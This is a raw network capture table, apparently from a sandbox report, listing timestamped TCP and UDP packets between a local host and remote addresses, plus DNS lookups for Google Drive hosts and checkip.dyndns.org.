Mar 7, 2025 21:08:17.558121920 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.558163881 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.558167934 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.558213949 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.564699888 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.564770937 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.564776897 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.564815044 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.571480036 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.571537018 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.571542978 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.571584940 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.577270031 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.577327013 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.577332020 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.577378988 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.577383995 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.577428102 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.580797911 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.580857992 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.580866098 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.580907106 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.583707094 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.583758116 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.583765984 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.583815098 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.586772919 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.586821079 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.586827993 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.586868048 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.590353012 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.590396881 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.590404987 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.590449095 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.592931032 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.592979908 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.592986107 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.593044996 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.597183943 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.597235918 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.597243071 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.597282887 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.597289085 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.597332001 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.599767923 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.599824905 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.599831104 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.599875927 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.609085083 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.609141111 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.609149933 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.609191895 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.616565943 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.616626978 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.616646051 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.616693020 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.633187056 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.633245945 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.633245945 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.633261919 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.633285999 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.633320093 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.633347034 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.633395910 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.635426998 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.635483027 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.635493040 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.635571003 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.644468069 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.644587994 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.646481991 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.646567106 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.646576881 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.646631002 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.646636963 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.646648884 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.646681070 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.649014950 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.649069071 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.649076939 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.649117947 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.651510954 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.651567936 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.651573896 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.651609898 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.654723883 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.654788017 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.655846119 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.655894995 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.655903101 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.655941963 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.659421921 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.659471035 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.659486055 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.659493923 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.659509897 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.659543991 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.661880016 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.661931038 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.661937952 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.661978006 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.665021896 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.665100098 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.665108919 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.665158987 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.667844057 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.667886972 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.667895079 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.667934895 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.670922995 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.670989990 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.670996904 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.671050072 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.673896074 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.673957109 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.673964024 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.674007893 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.676882029 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.676948071 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.676954985 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.676996946 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.679641008 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.679754972 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.679763079 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.679805040 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.682255030 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.682320118 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.682327986 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.682377100 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.684925079 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.684972048 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.684978962 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.685015917 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.687372923 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.687429905 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.687436104 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.687501907 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.689853907 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.689915895 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.689922094 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.689961910 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.689968109 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.690006971 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.692248106 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.692327976 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.692341089 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.692397118 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.694645882 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.694710016 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.694719076 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.694762945 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.696785927 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.696831942 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.696846008 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.696882010 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.698951006 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.699004889 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.699012041 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.699068069 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.701077938 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.701143980 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.701152086 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.701200008 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.703228951 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.703289032 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.703294992 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.703334093 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.707387924 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.707484961 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.707493067 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.707529068 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.707560062 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.707597971 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.707607985 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.707652092 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.710195065 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.710247993 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.710256100 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.710308075 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.710314989 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.710366011 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.711747885 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.711803913 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.711811066 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.711848974 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.713860035 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.713926077 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.713933945 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.713978052 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.715931892 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.716027021 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.716036081 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.716084003 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.718034029 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.718086958 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.718096018 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.718137026 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.720165014 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.720230103 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.720238924 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.720278978 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.722399950 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.722462893 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.722470999 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.722521067 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.724719048 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.724772930 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.724782944 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.724819899 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.726434946 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.726481915 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.726489067 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.726531982 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.728539944 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.728581905 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.728602886 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.728641987 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.728647947 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.728687048 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.730767965 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.730817080 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.730824947 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.730865955 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.732678890 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.732722044 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.741342068 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.741396904 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.741408110 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.741446972 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.742223978 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.742394924 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.742403030 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.742517948 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.744168043 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.744226933 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.744232893 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.744271994 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.746045113 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.746095896 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.746098042 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.746109009 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.746136904 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.746155977 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.746273041 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.746315956 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.746366024 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:18.666408062 CET	49691	80	192.168.2.6	132.226.8.169
Mar 7, 2025 21:08:18.671533108 CET	80	49691	132.226.8.169	192.168.2.6
Mar 7, 2025 21:08:18.671669006 CET	49691	80	192.168.2.6	132.226.8.169
Mar 7, 2025 21:08:18.671921968 CET	49691	80	192.168.2.6	132.226.8.169
Mar 7, 2025 21:08:18.677047014 CET	80	49691	132.226.8.169	192.168.2.6
Mar 7, 2025 21:08:19.941351891 CET	80	49691	132.226.8.169	192.168.2.6
Mar 7, 2025 21:08:19.948632956 CET	49691	80	192.168.2.6	132.226.8.169
Mar 7, 2025 21:08:19.953779936 CET	80	49691	132.226.8.169	192.168.2.6
Mar 7, 2025 21:08:20.222026110 CET	80	49691	132.226.8.169	192.168.2.6
Mar 7, 2025 21:08:20.263552904 CET	49691	80	192.168.2.6	132.226.8.169
Mar 7, 2025 21:08:20.720752001 CET	49692	443	192.168.2.6	104.21.112.1
Mar 7, 2025 21:08:20.720783949 CET	443	49692	104.21.112.1	192.168.2.6
Mar 7, 2025 21:08:20.720880985 CET	49692	443	192.168.2.6	104.21.112.1
Mar 7, 2025 21:08:20.741151094 CET	49692	443	192.168.2.6	104.21.112.1
Mar 7, 2025 21:08:20.741179943 CET	443	49692	104.21.112.1	192.168.2.6
Mar 7, 2025 21:08:22.415950060 CET	443	49692	104.21.112.1	192.168.2.6
Mar 7, 2025 21:08:22.416070938 CET	49692	443	192.168.2.6	104.21.112.1
Mar 7, 2025 21:08:22.425102949 CET	49692	443	192.168.2.6	104.21.112.1
Mar 7, 2025 21:08:22.425131083 CET	443	49692	104.21.112.1	192.168.2.6
Mar 7, 2025 21:08:22.425549984 CET	443	49692	104.21.112.1	192.168.2.6
Mar 7, 2025 21:08:22.429120064 CET	49692	443	192.168.2.6	104.21.112.1
Mar 7, 2025 21:08:22.476325035 CET	443	49692	104.21.112.1	192.168.2.6
Mar 7, 2025 21:08:22.932706118 CET	443	49692	104.21.112.1	192.168.2.6
Mar 7, 2025 21:08:22.932781935 CET	443	49692	104.21.112.1	192.168.2.6
Mar 7, 2025 21:08:22.932881117 CET	49692	443	192.168.2.6	104.21.112.1
Mar 7, 2025 21:08:22.939351082 CET	49692	443	192.168.2.6	104.21.112.1
Mar 7, 2025 21:08:22.945456982 CET	49691	80	192.168.2.6	132.226.8.169
Mar 7, 2025 21:08:22.950584888 CET	80	49691	132.226.8.169	192.168.2.6
Mar 7, 2025 21:08:23.205585003 CET	80	49691	132.226.8.169	192.168.2.6
Mar 7, 2025 21:08:23.209053040 CET	49693	443	192.168.2.6	104.21.112.1
Mar 7, 2025 21:08:23.209080935 CET	443	49693	104.21.112.1	192.168.2.6
Mar 7, 2025 21:08:23.209315062 CET	49693	443	192.168.2.6	104.21.112.1
Mar 7, 2025 21:08:23.209590912 CET	49693	443	192.168.2.6	104.21.112.1
Mar 7, 2025 21:08:23.209604979 CET	443	49693	104.21.112.1	192.168.2.6
Mar 7, 2025 21:08:23.246411085 CET	49691	80	192.168.2.6	132.226.8.169
Mar 7, 2025 21:08:24.883341074 CET	443	49693	104.21.112.1	192.168.2.6
Mar 7, 2025 21:08:24.888083935 CET	49693	443	192.168.2.6	104.21.112.1
Mar 7, 2025 21:08:24.888129950 CET	443	49693	104.21.112.1	192.168.2.6
Mar 7, 2025 21:08:25.761240005 CET	443	49693	104.21.112.1	192.168.2.6
Mar 7, 2025 21:08:25.761311054 CET	443	49693	104.21.112.1	192.168.2.6
Mar 7, 2025 21:08:25.761487007 CET	49693	443	192.168.2.6	104.21.112.1
Mar 7, 2025 21:08:25.761899948 CET	49693	443	192.168.2.6	104.21.112.1
Mar 7, 2025 21:08:25.765693903 CET	49691	80	192.168.2.6	132.226.8.169
Mar 7, 2025 21:08:25.766973019 CET	49694	80	192.168.2.6	132.226.8.169
Mar 7, 2025 21:08:25.770970106 CET	80	49691	132.226.8.169	192.168.2.6
Mar 7, 2025 21:08:25.771056890 CET	49691	80	192.168.2.6	132.226.8.169
Mar 7, 2025 21:08:25.772062063 CET	80	49694	132.226.8.169	192.168.2.6
Mar 7, 2025 21:08:25.772154093 CET	49694	80	192.168.2.6	132.226.8.169
Mar 7, 2025 21:08:25.772249937 CET	49694	80	192.168.2.6	132.226.8.169
Mar 7, 2025 21:08:25.777301073 CET	80	49694	132.226.8.169	192.168.2.6
Mar 7, 2025 21:08:26.748162031 CET	80	49694	132.226.8.169	192.168.2.6
Mar 7, 2025 21:08:26.761359930 CET	49695	443	192.168.2.6	104.21.112.1
Mar 7, 2025 21:08:26.761403084 CET	443	49695	104.21.112.1	192.168.2.6
Mar 7, 2025 21:08:26.761473894 CET	49695	443	192.168.2.6	104.21.112.1
Mar 7, 2025 21:08:26.761925936 CET	49695	443	192.168.2.6	104.21.112.1
Mar 7, 2025 21:08:26.761940956 CET	443	49695	104.21.112.1	192.168.2.6
Mar 7, 2025 21:08:26.793256044 CET	49694	80	192.168.2.6	132.226.8.169
Mar 7, 2025 21:08:28.382812023 CET	443	49695	104.21.112.1	192.168.2.6
Mar 7, 2025 21:08:28.384385109 CET	49695	443	192.168.2.6	104.21.112.1
Mar 7, 2025 21:08:28.384407997 CET	443	49695	104.21.112.1	192.168.2.6
Mar 7, 2025 21:08:28.880690098 CET	443	49695	104.21.112.1	192.168.2.6
Mar 7, 2025 21:08:28.880788088 CET	443	49695	104.21.112.1	192.168.2.6
Mar 7, 2025 21:08:28.880846024 CET	49695	443	192.168.2.6	104.21.112.1
Mar 7, 2025 21:08:28.881269932 CET	49695	443	192.168.2.6	104.21.112.1
Mar 7, 2025 21:08:28.885727882 CET	49696	80	192.168.2.6	132.226.8.169
Mar 7, 2025 21:08:28.890889883 CET	80	49696	132.226.8.169	192.168.2.6
Mar 7, 2025 21:08:28.890989065 CET	49696	80	192.168.2.6	132.226.8.169
Mar 7, 2025 21:08:28.891089916 CET	49696	80	192.168.2.6	132.226.8.169
Mar 7, 2025 21:08:28.896097898 CET	80	49696	132.226.8.169	192.168.2.6
Mar 7, 2025 21:08:29.727588892 CET	80	49696	132.226.8.169	192.168.2.6
Mar 7, 2025 21:08:29.777846098 CET	49696	80	192.168.2.6	132.226.8.169
Mar 7, 2025 21:08:31.863414049 CET	49697	443	192.168.2.6	104.21.112.1
Mar 7, 2025 21:08:31.863516092 CET	443	49697	104.21.112.1	192.168.2.6
Mar 7, 2025 21:08:31.863594055 CET	49697	443	192.168.2.6	104.21.112.1
Mar 7, 2025 21:08:31.863878965 CET	49697	443	192.168.2.6	104.21.112.1
Mar 7, 2025 21:08:31.863894939 CET	443	49697	104.21.112.1	192.168.2.6
Mar 7, 2025 21:08:33.482321024 CET	443	49697	104.21.112.1	192.168.2.6
Mar 7, 2025 21:08:33.527772903 CET	49697	443	192.168.2.6	104.21.112.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 7, 2025 21:08:08.785628080 CET	59389	53	192.168.2.6	1.1.1.1
Mar 7, 2025 21:08:08.793026924 CET	53	59389	1.1.1.1	192.168.2.6
Mar 7, 2025 21:08:11.957927942 CET	50594	53	192.168.2.6	1.1.1.1
Mar 7, 2025 21:08:11.965106010 CET	53	50594	1.1.1.1	192.168.2.6
Mar 7, 2025 21:08:18.654356956 CET	61995	53	192.168.2.6	1.1.1.1
Mar 7, 2025 21:08:18.662384987 CET	53	61995	1.1.1.1	192.168.2.6
Mar 7, 2025 21:08:20.710736990 CET	55218	53	192.168.2.6	1.1.1.1
Mar 7, 2025 21:08:20.719610929 CET	53	55218	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 7, 2025 21:08:08.785628080 CET	192.168.2.6	1.1.1.1	0xdc78	Standard query (0)	drive.google.com	A (IP address)	IN (0x0001)	false
Mar 7, 2025 21:08:11.957927942 CET	192.168.2.6	1.1.1.1	0x6792	Standard query (0)	drive.usercontent.google.com	A (IP address)	IN (0x0001)	false
Mar 7, 2025 21:08:18.654356956 CET	192.168.2.6	1.1.1.1	0x4077	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
